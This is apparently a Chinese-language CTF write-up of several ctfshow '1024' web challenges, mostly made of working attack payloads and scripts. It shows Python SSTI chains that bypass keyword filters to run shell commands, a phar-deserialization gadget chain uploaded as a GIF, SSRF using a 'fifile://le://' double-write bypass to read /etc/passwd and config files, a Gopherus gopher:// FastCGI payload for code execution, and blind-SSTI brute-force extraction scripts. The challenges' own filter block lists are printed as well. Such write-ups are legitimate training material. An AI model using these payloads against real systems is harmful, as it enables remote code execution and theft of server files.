1024_fastapi
信息收集
FastAPI 是一个高性能 Web 框架,用于构建 API。
主要特性:
快速:非常高的性能,与 NodeJS 和 Go 相当
快速编码:将功能开发速度提高约 200% 至 300%
更少的错误:减少约 40% 的人为错误
直观:强大的编辑器支持,自动补全无处不在,调试时间更少
简易:旨在易于使用和学习,减少阅读文档的时间。
简短:减少代码重复。
稳健:获取可用于生产环境的代码,具有自动交互式文档
基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema
Fastapi的交互式接口文档,访问docs和redoc
访问/cccalccc
,可以post提交q参数
SSTI
经过尝试,需要直接输入参数才能解析
q=().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/etc/passwd').read() {"res":"hack out!","err":false}
这里看出是python3的环境,而且还有waf需要绕过
找出被waf的关键词
popen
这里绕过一下
q=[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('env').read()
在env和.和/下面均没有发现flag,先尝试读取源码
q=[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('cat main.py').read()
{"res":"from typing import Optional\nfrom fastapi import FastAPI,Form\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/\")\ndef hello():\n return {\"hello\": \"fastapi\"}\n\n@app.post(\"/cccalccc\",description=\"安全的计算器\")\ndef calc(q: Optional[str] = Form(...)):\n try:\n hint = \"flag is in /mnt/f1a9,try to read it\"\n block_list = ['import','open','eval','exec']\n for keyword in block_list:\n if keyword in q:\n return {\"res\": \"hack out!\", \"err\": False}\n return {\"res\": eval(q), \"err\": False}\n except:\n return {\"res\": \"\", \"err\": True}\n\nif __name__ == '__main__':\n uvicorn.run(app=app, host=\"0.0.0.0\", port=8000, workers=1)\n","err":false}
hint = “flag is in /mnt/f1a9,try to read it”\n
读取拿到flag
1024_柏拉图
信息收集
上传图片
GIF89a <?php phpinfo();?> ------WebKitFormBoundaryQ93uD6QeIDyFS1HM Content-Disposition: form-data; name="submit" 提交 ------WebKitFormBoundaryQ93uD6QeIDyFS1HM--
文件存储在: upload/scr.gif
查看upload/scr.gif,返回为
GIF89a <?php phpinfo();?>26
猜测通过输入伪协议的url来查看后端的源码,然后通过上传文件和查看文件来读取flag
尝试读取源码
/etc/passwd 没有回显 file:///etc/passwd 没有回显 php://filter/convert.BaSe64-eNcoDe/resource=/etc/passwd 被waf fifilele:///etc/passwd 没有回显 fifile://le:///etc/passwd 回显成功,这里看来是双写绕过
这里猜测绝对路径进行读取
fifile://le:///var/www/html/index.php
<?php error_reporting(0); /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-19 20:09:22 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 21:31:48 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); echo curl_exec($ch); curl_close($ch); } if(isset($_GET['url'])){ $url = $_GET['url']; $bad = 'file://'; if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match)) { die('难道我不知道你在想什么?除非绕过我?!'); }else{ $url=str_replace($bad,"",$url); curl($url); } } ?>
fifile://le:///var/www/html/upload.php
<?php error_reporting(0); if(isset($_FILES["file"])){ if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { if (file_exists("upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " 文件已经存在啦!"; }else{ move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]); echo "文件存储在: " . "upload/" . $_FILES["file"]["name"]; } }else{ echo "这个文件我不喜欢,我喜欢一个gif的文件"; } } ?>
fifile://le:///var/www/html/readfile.php
<?php error_reporting(0); include('class.php'); function check($filename){ if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){ die("姿势太简单啦,来一点骚的?!"); }else{ return 0; } } if(isset($_GET['filename'])){ $file=$_GET['filename']; if(strstr($file, "flag") || check($file) || strstr($file, "php")) { die("这么简单的获得不可能吧?!"); } echo readfile($file); } ?>
fifile://le:///var/www/html/unlink.php
<?php error_reporting(0); $file=$_GET['filename']; function check($file){ if (preg_match("/\.\.\//i",$file)){ die("你想干什么?!"); }else{ return $file; } } if(file_exists("upload/".$file)){ if(unlink("upload/".check($file))){ echo "删除".$file."成功!"; }else{ echo "删除".$file."失败!"; } }else{ echo '要删除的文件不存在!'; } ?>
fifile://le:///var/www/html/class.php
<?php error_reporting(0); class A { public $a; public function __construct($a) { $this->a = $a; } public function __destruct() { echo "THI IS CTFSHOW".$this->a; } } class B { public $b; public function __construct($b) { $this->b = $b; } public function __toString() { return ($this->b)(); } } class C{ public $c; public function __construct($c) { $this->c = $c; } public function __invoke() { return eval($this->c); } } ?>
phar反序列化
因为有readfile函数,我们可以配合phar来触发反序列化
<?php error_reporting(0); class A { public $a; public function __construct($a) { $this->a = $a; } // public function __destruct() // { // echo "THI IS CTFSHOW".$this->a; // } } class B { public $b; public function __construct($b) { $this->b = $b; } public function __toString() { return ($this->b)(); } } class C{ public $c; public function __construct($c) { $this->c = $c; } public function __invoke() { return eval($this->c); } } $a=new A(''); $b=new B(''); $c=new C(''); $c->c='system("ls /");'; $b->b=$c; $a->a=$b; @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头 $phar->setMetadata($a); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();
将文件后缀修改为gif,上传,得到路径为upload/phar.gif,这里用绝对路径和相对路径都可以读取到
compress.zlib://phar:///var/www/html/upload/phar.gif compress.zlib://phar://upload/phar.gif
bin ctfshow_1024_flag.txt dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
将ls /改为cat /ctfshow_1024_flag.txt即可拿到flag
1024_WEB签到
<?php error_reporting(0); highlight_file(__FILE__); call_user_func($_GET['f']);
只有一个传参位置,只能调用无需传参的函数
?f=phpinfo
在phpinfo里面找一找自定义函数。(查找关键词flag,ctfl,function等)
function:ctfshow_1024 support enabled
1024_图片代理
信息收集
http://bd3e5731-b0c7-481f-90c0-855f5007206a.challenge.ctf.show/index.php?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w 对picurl进行base64解码得到图片的链接 http://p.qlogo.cn/gh/372619038/372619038/0
file:///etc/passwd ZmlsZTovLy9ldGMvcGFzc3dk
回显成功,盲猜flag的路径/flag发现没有回显,查看指纹是nginx
查看配置文件 file:///etc/nginx/nginx.conf
include /etc/nginx/conf.d/*.conf;
查看自定义的配置文件中的default.conf file:///etc/nginx/conf.d/default.conf
root /var/www/bushihtml; index index.php index.html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php;
gopherus|fastcgi
这里gopherus需要安装py2的pip2
sudo curl -o get-pip.py https://bootstrap.pypa.io/pip/2.7/get-pip.py sudo python2 get-pip.py
gopherus --exploit fastcgi /var/www/bushihtml/index.php ls /
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%09%01%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1CSCRIPT_FILENAME/var/www/bushihtml/index.php%0D%01DOCUMENT_ROOT/%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
base64编码
Z29waGVyOi8vMTI3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOCUwMCUwMCUwMCUwMSUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMSUwOSUwMSUwMCUwRiUxMFNFUlZFUl9TT0ZUV0FSRWdvJTIwLyUyMGZjZ2ljbGllbnQlMjAlMEIlMDlSRU1PVEVfQUREUjEyNy4wLjAuMSUwRiUwOFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBfVkFMVUVhbGxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZGlzYWJsZV9mdW5jdGlvbnMlMjAlM0QlMjAlMEFhdXRvX3ByZXBlbmRfZmlsZSUyMCUzRCUyMHBocCUzQS8vaW5wdXQlMEYlMUNTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9idXNoaWh0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDA4JTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3bHMlMjAvJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw
拿到flag
1024_hello_world
信息收集
SSTI的绕过方法,参考
https://blog.csdn.net/miuzzx/article/details/110220425 https://www.cnblogs.com/20175211lyz/p/11425368.html
首先进行测试
key={{123}} #<h3>Hello,123!</h3> key={123} #<h3>Hello,{123}!</h3>
{{
和}}
过滤了,这里难度在于判断是哪种模板,以及执行命令需要的绕过方式过滤了的会报
500 Internal Server Error
以jinja2为例
{% ... %} for Statements {{ ... }} for Expressions to print to the template output {# ... #} for Comments not included in the template output # ... # for Line Statements
ssti盲注
寻找可以利用的模块
import requests url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/' # # payload = '{%if""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()!=1%}wdnmd{%endif%}' # data = {'key':payload} # r = requests.post(url,data) # print(r.text) for i in range(1,200): payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()['+str(i)+']["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")!=1%}coleak{%endif%}' # real_payload = '"".__class__.__base__.__subclasses__()[?].__init__.__globals__["__builtins__"]["__import__"]("os")' data = {'key':payload} r = requests.post(url,data) if 'coleak' in r.text: print(i)
import requests import string abt = string.ascii_lowercase+string.digits+'-_{}' url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/' cmd = 'ls /' ans = '' for i in range(0,80): for le in abt: payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}coleak{%endif%}' data = {'key':payload} r = requests.post(url,data) if 'coleak' in r.text: ans += le print('ans = '+ans) break
import requests import string abt = string.ascii_lowercase+string.digits+'-_{}' url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/' cmd = 'cat /ctf*' ans = '' for i in range(0,80): for le in abt: payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}coleak{%endif%}' data = {'key':payload} r = requests.post(url,data) if 'coleak' in r.text: ans += le print('ans = '+ans) break